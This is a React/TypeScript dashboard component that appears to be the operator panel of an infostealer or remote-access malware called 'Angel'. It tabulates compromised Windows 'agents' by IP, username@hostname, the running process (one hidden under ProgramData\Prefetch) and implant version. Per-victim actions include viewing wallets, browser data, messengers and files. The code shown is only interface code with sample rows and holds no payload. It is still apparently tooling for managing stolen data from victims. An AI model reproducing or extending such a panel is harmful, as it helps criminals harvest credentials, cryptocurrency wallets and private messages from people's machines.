"use client"; import * as React from "react"; //import Flag from "react-flagpack"; import { ContextMenu, ContextMenuCheckboxItem, ContextMenuContent, ContextMenuItem, ContextMenuLabel, ContextMenuRadioGroup, ContextMenuRadioItem, ContextMenuSeparator, ContextMenuShortcut, ContextMenuSub, ContextMenuSubContent, ContextMenuSubTrigger, ContextMenuTrigger, } from "@/components/ui/context-menu"; import { CaretSortIcon, ChevronDownIcon, DotsHorizontalIcon, } from "@radix-ui/react-icons"; import { TableRow, TableBody, TableHeader, TableCell, Table, TableHead, } from "./components/ui/table"; import { ColumnDef, ColumnFiltersState, SortingState, VisibilityState, flexRender, getCoreRowModel, getFilteredRowModel, getPaginationRowModel, getSortedRowModel, useReactTable, } from "@tanstack/react-table"; import { Button } from "@/components/ui/button"; import { Checkbox } from "@/components/ui/checkbox"; import { DropdownMenu, DropdownMenuCheckboxItem, DropdownMenuContent, DropdownMenuGroup, DropdownMenuItem, DropdownMenuLabel, DropdownMenuSeparator, DropdownMenuTrigger, } from "@/components/ui/dropdown-menu"; import { Input } from "@/components/ui/input"; import { Avatar, AvatarFallback, AvatarImage } from "@/components/ui/avatar"; import { useToast } from "./hooks/use-toast"; import DashSidebar from "./components/sidebar"; import { SidebarTrigger } from "./components/ui/sidebar"; import { ToastAction } from "@/components/ui/toast"; //import Topbar from "./topbar"; type Angel = { agent_id: string; country: string; ip: string; system: string; name: string; process: string; //activity: boolean; version: string; }; export const agents: Angel[] = [ { agent_id: "728ed52f", country: "nl-NL", ip: "193.173.216.118", system: "Windows 11 Home x64", name: "aeterna@pterodactyl", process: "9620 \\ C:\\ProgramData\\Prefetch\\na.exe", //activity: true, version: "0.3.4", }, { agent_id: "b93ecf71", country: "us-US", ip: "192.168.1.101", system: "Windows 10 Pro x64", name: "lucas@dinosaur", process: "8456 \\ C:\\Program Files\\Example\\app.exe", version: "0.1.2", }, { agent_id: "a56d90c2", country: "gb-GB", ip: "172.16.254.1", system: "Windows 11 Home x64", name: "mia@pterodactyl", process: "3045 \\ C:\\Users\\Mia\\Documents\\test.exe", version: "0.5.0", }, { agent_id: "c2f1d3a8", country: "fr-FR", ip: "10.0.0.5", system: "Windows 10 Home x64", name: "noah@velociraptor", process: "5732 \\ C:\\ProgramData\\Example\\example.exe", version: "0.2.8", }, { agent_id: "e58b60a4", country: "de-DE", ip: "198.51.100.1", system: "Windows 11 Pro x64", name: "sophia@triceratops", process: "1903 \\ C:\\Apps\\Example\\launcher.exe", version: "0.4.3", }, { agent_id: "d75a4e0c", country: "it-IT", ip: "203.0.113.5", system: "Windows 10 Home x64", name: "liam@raptor", process: "6821 \\ C:\\Program Files\\App\\run.exe", version: "0.3.9", }, { agent_id: "f97cbe2e", country: "es-ES", ip: "192.0.2.1", system: "Windows 10 Pro x64", name: "ava@dragon", process: "4593 \\ C:\\Users\\Ava\\Downloads\\program.exe", version: "0.6.1", }, { agent_id: "7bcfd1c3", country: "jp-JP", ip: "255.255.255.255", system: "Windows 11 Home x64", name: "haruki@bird", process: "3248 \\ C:\\Program Files (x86)\\Sample\\sample.exe", version: "0.1.0", }, { agent_id: "1e6f0a42", country: "ca-CA", ip: "203.0.113.10", system: "Windows 10 Home x64", name: "emma@parrot", process: "8345 \\ C:\\ProgramData\\Apps\\utility.exe", version: "0.4.2", }, { agent_id: "a39f0b77", country: "au-AU", ip: "192.0.2.50", system: "Windows 11 Pro x64", name: "oliver@ostrich", process: "4926 \\ C:\\Program Files\\Example\\app.exe", version: "0.2.5", }, { agent_id: "62a1c7b8", country: "br-BR", ip: "192.168.0.15", system: "Windows 10 Pro x64", name: "isabella@eagle", process: "1864 \\ C:\\Users\\Isabella\\Desktop\\test.exe", version: "0.3.7", }, ]; /*export function resolve_country(country: string) { return ; }*/ export const columns: ColumnDef[] = [ { accessorKey: "agent_id", header: "Agent Identifier", cell: ({ row }) => (
{row.getValue("agent_id")}
), }, { accessorKey: "country", header: "Country", //cell: ({ row }) =>
{resolve_country(row.getValue("country"))}
, cell: ({ row }) =>
{row.getValue("country")}
, }, { accessorKey: "ip", header: "IPv4", cell: ({ row }) =>
{row.getValue("ip")}
, }, { accessorKey: "system", header: "Operating System", cell: ({ row }) =>
{row.getValue("system")}
, }, { accessorKey: "name", header: "username@hostname", cell: ({ row }) =>
{row.getValue("name")}
, }, { accessorKey: "process", header: "PID Process", cell: ({ row }) =>
{row.getValue("process")}
, }, /*{ accessorKey: "activity", header: ({ column }) => { return ( ); }, cell: ({ row }) => (
{(row.getValue("activity") === true && "Active") ?? "Inactive"}
), },*/ { accessorKey: "version", header: "Angel Version", cell: ({ row }) =>
{row.getValue("version")}
, }, { id: "actions", enableHiding: false, cell: ({ row }) => { const agent = row.original; return ( Actions navigator.clipboard.writeText(agent.agent_id)} > Copy agent ID Agent overview View wallets View network View apps View browser View system info View games View messengers View files ); }, }, ]; /*export function DataMeow() { const chunkArray = (array: Angel[], chunkSize: number): Angel[][] => { const chunks: Angel[][] = []; for (let i = 0; i < array.length; i += chunkSize) { chunks.push(array.slice(i, i + chunkSize)); } return chunks; }; const chunks = chunkArray(agents, 5); return (
{chunks.map((chunk, index) => (
))}
); }*/ /*interface DataTableProps { tablemeow: Angel[]; }*/ //export function DataTable({ tablemeow }: DataTableProps) { export function DataTable() { const [sorting, setSorting] = React.useState([]); const [columnFilters, setColumnFilters] = React.useState( [], ); const [columnVisibility, setColumnVisibility] = React.useState({}); const [rowSelection, setRowSelection] = React.useState({}); const [pageSize, setPageSize] = React.useState(10); const [pageIndex, setPageIndex] = React.useState(0); const table = useReactTable({ data: agents, // tablemeow columns, onSortingChange: setSorting, onColumnFiltersChange: setColumnFilters, getCoreRowModel: getCoreRowModel(), getPaginationRowModel: getPaginationRowModel(), getSortedRowModel: getSortedRowModel(), getFilteredRowModel: getFilteredRowModel(), onColumnVisibilityChange: setColumnVisibility, onRowSelectionChange: setRowSelection, //manualPagination: false, state: { sorting, columnFilters, columnVisibility, rowSelection, pagination: { pageSize, pageIndex }, }, }); const startRow = table.getState().pagination.pageIndex * table.getState().pagination.pageSize + 1; const endRow = Math.min( (table.getState().pagination.pageIndex + 1) * table.getState().pagination.pageSize, table.getFilteredRowModel().rows.length, ); return (
table.getColumn("name")?.setFilterValue(event.target.value) } className="max-w-sm" /> {table .getAllColumns() .filter((column) => column.getCanHide()) .map((column) => { return ( column.toggleVisibility(!!value) } > {column.id} ); })}
{table.getHeaderGroups().map((headerGroup) => ( {headerGroup.headers.map((header) => { return ( {header.isPlaceholder ? null : flexRender( header.column.columnDef.header, header.getContext(), )} ); })} ))} {table.getRowModel().rows?.length ? ( table.getRowModel().rows.map((row) => ( {row.getVisibleCells().map((cell) => ( {flexRender( cell.column.columnDef.cell, cell.getContext(), )} ))} )) ) : ( No results. )}
Showing {startRow}-{endRow} of{" "} {table.getFilteredRowModel().rows.length} rows.
); } function Dashboard() { const [time, setTime] = React.useState(""); React.useEffect(() => { const updateTime = () => { const currentTime = new Date().toLocaleTimeString(); setTime(currentTime); }; updateTime(); const intervalId = setInterval(updateTime, 1000); return () => clearInterval(intervalId); }, []); const { toast } = useToast(); return ( <>
Logo
{time}
meow My Account Profile Billing Settings Leaderboard GitHub Support API Log out
); } export default Dashboard;